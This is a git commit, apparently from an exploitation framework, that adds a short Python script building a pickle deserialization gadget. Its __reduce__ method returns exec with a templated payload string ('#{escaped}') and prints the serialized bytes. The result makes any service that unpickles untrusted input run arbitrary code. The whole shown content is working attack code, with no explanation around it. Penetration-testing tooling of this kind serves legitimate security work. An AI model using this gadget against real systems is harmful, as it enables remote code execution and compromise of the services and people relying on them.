Add source code for Python deserialization gadgets

This commit is contained in:
Spencer McIntyre
2024-03-28 17:44:22 -04:00
parent fb073cf21a
commit e5635c4bfd
3 changed files with 25 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
import pickle
class GadgetChain:
def __reduce__(self):
return __builtins__.exec, ('#{escaped}',)
if __name__ == '__main__':
pickled = pickle.dumps(GadgetChain(), protocol=0)
print(repr(pickled.decode()))